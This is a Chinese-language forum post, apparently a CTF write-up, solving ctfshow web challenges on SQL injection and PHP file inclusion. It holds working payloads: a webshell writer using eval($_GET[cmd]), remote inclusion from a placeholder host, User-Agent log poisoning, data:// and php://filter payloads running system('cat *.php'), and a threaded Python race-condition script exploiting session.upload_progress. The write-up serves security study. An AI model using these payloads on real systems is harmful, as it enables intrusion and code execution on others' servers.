Ctfshow/刷题记录

sn0w   ·   发表于 2021-01-28 22:19:54   ·   CTF&WP专版

跟每天都做一些题目,持续更新中!

web2

考察点:联合查询
**
考察的是最简单的联合查询,没有过滤任何东西
image.png

Web3

考察点:伪协议的利用
**
很明显的文件包含漏洞,使用php://filter没有读取出来flag,应该是改其他名字了,使用php://input来读取一下
image.png

web4

考察点:文件包含、日志写入、远程包含

image.png
还是文件包含,但是经过测试发现php被过滤了,所以伪协议也没办法使用,data协议也被禁用了,可以使用下http或https协议,进行远程包含

  1. http://677d5fdc-51f3-43a9-957f-a0207370de55.chall.ctf.show/?url=http://xxxx/webshell.txt
  2. webshell.txt
  3. <?php fputs(fopen('webshell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

除此之外,还有另外一种方法,通过日志写入一句话
image.png
并没有返回对应的服务,那就尝试最常见的几种搭建web服务的,apache\nginx等

  1. ?url=/var/log/nginx/access.log

发现nginx的access.log可以访问,日志中记录有User-Agent
image.png
所以将一句话木马写在User-Agent中即可连接
image.png

web5

考察点:md5弱类型比较
**
image.png
考察弱类型比较

ctype_alpha — 做纯字符检测
如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回true,反之则返回false

第一个if条件需要满足都是字母,第二个if条件只需是数字即可

  1. ?v1=QNKCDZO&v2=240610708
  2. ?v1=QNKCDZO&v2=0e215962017
  3. 记录一个
  4. $a==md5($a)
  5. 0e215962017 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

web6

考察点:空格过滤

image.png
还是考察的联合查询,但是过滤了空格,使用`/
/`绕过即可

web7

考察点:十六进制编码、联合查询、空格过滤

还是联合查询,过滤了空格,而且在注表的时候,发现过滤了flag
image.png
使用十六进制绕过即可
image.png
接下来继续读取flag即可

文件包含

web78

考察点:伪协议

  1. ?file=php://filter/read=convert.base64-encode/resource=flag.php

image.png

web79

考察点:data协议/大小写绕过str_replace
image.png
过滤了php,所以伪协议中的php:input和php:filter都不用使用了,可以使用data协议结合base64编码来获取flag

  1. ?file=data://text/plain;base64,PD89IHN5c3RlbSgnY2F0IGZsYWcucGhwJyk7Pz4=

str_replace区分大小写

所以也可以使用如下payload:

  1. ?file=PHP://input
  2. data:
  3. <?PHP system('cat flag.php | base64');?>

image.png
右键查看源码即可获取到flag

web80

考察点:日志写入/远程包含
image.png
过滤了php和data协议,正常的伪协议是出不来的,猜测是nginx或者是apache,试着访问一下日志文件看是否有权限打开
image.png
确实可以那就直接在User-Agent中写马即可
image.png
蚁剑连接即可

除此之外,还可以使用大小写绕过str_replace函数

web81

image.png
还可以使用日志文件写入的方式获取到flag

Web82

考点:利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
image.png
过滤了.之前的日志文件写入、远程包含不能再用了,所以需要找一个不带.来进行文件包含,可以利用session.upload_progress进行文件包含
在php5.4之后添加了这个功能
image.png
再来看几个php.ini的默认选项

  1. session.upload_progress.enabled = on
  2. 表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
  3. session.upload_progress.cleanup = on
  4. 表示当文件上传结束后,php将会立即清空对应session文件中的内容
  5. session.upload_progress.prefix = "upload_progress_"
  6. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  7. #表示为session中的键名
  8. session.use_strict_mode=off
  9. #表示对Cookie中sessionid可控

上面几个默认选项,可能最后两个稍微有点不好理解,其实官方已经举出了对应的例子,如:

  1. // PHPSESSION = Sn0w
  2. <form action="upload.php" method="POST" enctype="multipart/form-data">
  3. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  4. <input type="file" name="file1" />
  5. <input type="file" name="file2" />
  6. <input type="submit" />
  7. </form>

session.upload_``progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件,便会在session['upload_progress_123']中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w
image.png
通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置

这就需要先了解一下PHP中session的存储机制

php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是由配置项session.save_handler来进行确定的,默认便是以文件的方式进行存储,存储文件的名字便是由sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容。至于存储路径便是由配置项session.save_path来进行决定的。

一般session的存储路径都不会怎么去改,默认的便是:

  1. linux:
  2. /tmp
  3. /var/lib/php/session
  4. Windows:
  5. C:\WINDOWS\Temp

存储路径知道了,但是还是有一个问题,便是代码中没有session_start()函数,怎么样创建出session文件那,其实如果配置项session.auto_start=On 是打开的,那么PHP在接收请求的时候便会自动化Session,不再需要执行该函数,但默认都是关闭的,在session中还有一个默认选项,便是上面提到的session.use_strict_mode默认值是0,用户可以自己定义SessionID。如:

  1. Cookie中设置:
  2. PHPSESSID=Sn0w
  3. PHP便会在服务器上创建一个文件(默认路径)
  4. /tmp/sess_Sn0w

即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但还有一个问题没有解决,即使是写进去了默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用。

  1. # -*- coding: utf-8 -*-
  2. import requests
  3. import io
  4. import threading
  5. url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
  6. sessID = 'Sn0w'
  7. def write(session):
  8. #判断event的标志是否为True
  9. while event.isSet():
  10. #上传文件要大一点,更有利于条件竞争
  11. f = io.BytesIO(b'Sn0w' * 1024 * 50)
  12. reponse = session.post(
  13. url,
  14. cookies={'PHPSESSID': sessID},
  15. data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'},
  16. files={'file':('text.txt',f)}
  17. )
  18. def read(session):
  19. while event.isSet():
  20. reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
  21. if 'text' in reponse.text:
  22. print(reponse.text)
  23. #将event的标志设置为False,调用wait方法的所有线程将被阻塞;
  24. event.clear()
  25. else:
  26. print('[*]continued')
  27. if __name__ == '__main__':
  28. #通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
  29. event = threading.Event()
  30. #将event的标志设置为True,调用wait方法的所有线程将被唤醒;
  31. event.set()
  32. #会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
  33. with requests.session() as session:
  34. for i in range(1,30):
  35. threading.Thread(target=write, args=(session,)).start()
  36. for i in range(1,30):
  37. threading.Thread(target=read, args=(session,)).start()

上传的有关信息
image.png
自己设置的键值因为是php所以解析掉了
image.png
这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如上面给的html上传代码上传一个文件

  1. <!DOCTYPE html>
  2. <html>
  3. <body>
  4. <form action="http://5303095a-4023-42e2-b099-30486f1b3323.chall.ctf.show/" method="POST" enctype="multipart/form-data">
  5. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123456" />
  6. <input type="file" name="file" />
  7. <input type="submit" value="submit" />
  8. </form>
  9. </body>
  10. </html>

image.png
再根据代码抓一个get的包,请求/tmp/sess_flag
image.png
同时进行爆破,payload设置成null payloads就可以一直爆破
image.png

web83

image.png
还跟上一关的一样的过滤代码,但是多出了两个函数
image.png

image.png
其实跟phpini默认选项中的session.upload_progress.cleanup = on一样,还是用条件竞争就好了

web84

image.png
这次是直接删除/tmp下的session文件,但是还是可以使用条件竞争来绕过,因为从我们使用开始利用PHP_SESSION_UPLOAD_PROGRESS时便会出现一个临时文件,就相当于先储存了文件,再进行删除,如果是正常的流程的话是肯定被删除的,但是我们使用多线程并发的访问上传的文件,总会有一次在生成session文件到删除文件这个时间段内可以访问到session文件。如果一开始没跑出来就多跑几次。

web85

image.png
还是同样的方法,无论前端怎么限制,只要处理高并发的线程未能同步好所有请求,便会导致请求与请求之间产生等待时出现逻辑缺陷,还是能读取文件的。
image.png

web86

image.png
加了两行代码,但影响不大,还是可以用条件竞争

  1. define('还要秀?', dirname(__FILE__));
  2. #定义“还要秀”为这个文件所在的目录
  3. set_include_path(还要秀?);
  4. #包含路径

image.png

web87

image.png
这个题便不再是条件竞争,考察的是file_put_content死亡绕过,在CTF比赛中经常遇到以下代码

  1. <?php
  2. $filename=$_GET['filename'];
  3. $content=$filename;
  4. file_put_contents($filename,'<php exit()?>'.$content);
  5. ?>

刚开始还以为伪协议不能用了,因为冒号、单引号什么的都给过滤掉了,但是发现了这一段代码

  1. urldecode($file)

所以还是可以用伪协议,直接url编码两次,第一次浏览器自动解码,但第二次还是url编码便可以绕过前面的检查,那接下来的问题便是file_put_content的死亡绕过
看这两位大师傅的博客,便会明白这道题要怎么去做,可以先在本地自己搭建一个环境进行测试。这里只简单解释一下base编码绕过,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

看师傅的解释,可以这样进行理解

  1. <?php
  2. $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
  3. base64_decode($_GET['txt']);

$content被加上了<?php die(); ?>以后,可以使用

  1. php://filter/write=convert.base64-decode

进行解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将会被忽略,故最终被解码的字符只有phpdie和传入的其他字符。

phpdie一共7个字符,因为base64算法解码时是4个byte一组,所以增加2个aa一共8个字符。这样,phpdieaa就会被正常解码,传入的webshell的base64内容也被正常解码。最后结果便是是<?php die; ?>没有了。

payload:

  1. ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
  2. #php://filter/convert.base64-decode/resource=1.php
  3. DATA:
  4. aaPD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg==
  5. #aa<?php system('cat *.php');?>

除此之外,这道题还有其他的做法

  1. ?file=php://filter/string.rot13/resource=shell.php(记得要两次url编码)
  2. DATA
  3. content=<?cuc cucvasb();?>

web88

image.png
看起来过滤了好多,但是仔细观察会发现date协议还是可以使用的,但是可能会在base64时出现疑问

  1. 比如:
  2. <?php system('cat *.php');?>
  3. PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg==
  4. 这里可以直接去除=号,只起了一个填充作用,不影响语句

payload:

  1. ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg

除此之外这道题还可以用条件竞争的方式来做

用户名金币积分时间理由
veek 150.00 0 2021-01-29 09:09:56 内容充实~

打赏我,让我更有动力~

1 条回复   |  直到 2021-1-30 | 1149 次浏览

xiao_yi
发表于 2021-1-30

这是哪里的题鸭,大佬

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.